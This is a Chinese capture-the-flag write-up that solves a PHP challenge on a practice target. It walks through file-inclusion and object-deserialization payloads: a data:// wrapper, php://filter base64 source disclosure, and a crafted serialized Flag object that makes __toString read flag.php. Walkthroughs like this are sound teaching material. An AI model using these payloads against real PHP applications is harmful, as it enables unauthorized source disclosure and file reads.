- 进入靶机,如下
- 根据提示信息,可知需要三个参数:text,file,password,且 text 的文本内容也已经限定,那么桌面建立一个文本文档,内容为:welcome to the zjctf,尝试用 file 协议读取,发现不行
?text=file://C:\Users\Hacker\Desktop\test.txt
- 尝试多次,发现 data 协议可以
?text=data://text/plain,welcome to the zjctf
4. 构造 file 参数,之前代码提示了 useless.php
文件,但是并无作用,因此尝试用 filter 协议读取文件内容
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
对文本内容进行解码:
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
- 分析可知,flag 应该在 flag.php 中,但是直接访问得不到结果;__tostring当类被当成字符串的时候自动调用,考虑到存在echo $password,因此这题的反序列化利用点是这个。
<?php
class Flag{
public $file = flag.php;
}
$a = new Flag();
echo serialize($a);
?>
6. 构造 payload
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
提示找到 flag,直接看源码,即可发现 flag:
7. 总结
没什么难点,重点在于步步推进,层层构造,首先要熟悉 PHP 相关伪协议,及PHP的序列化。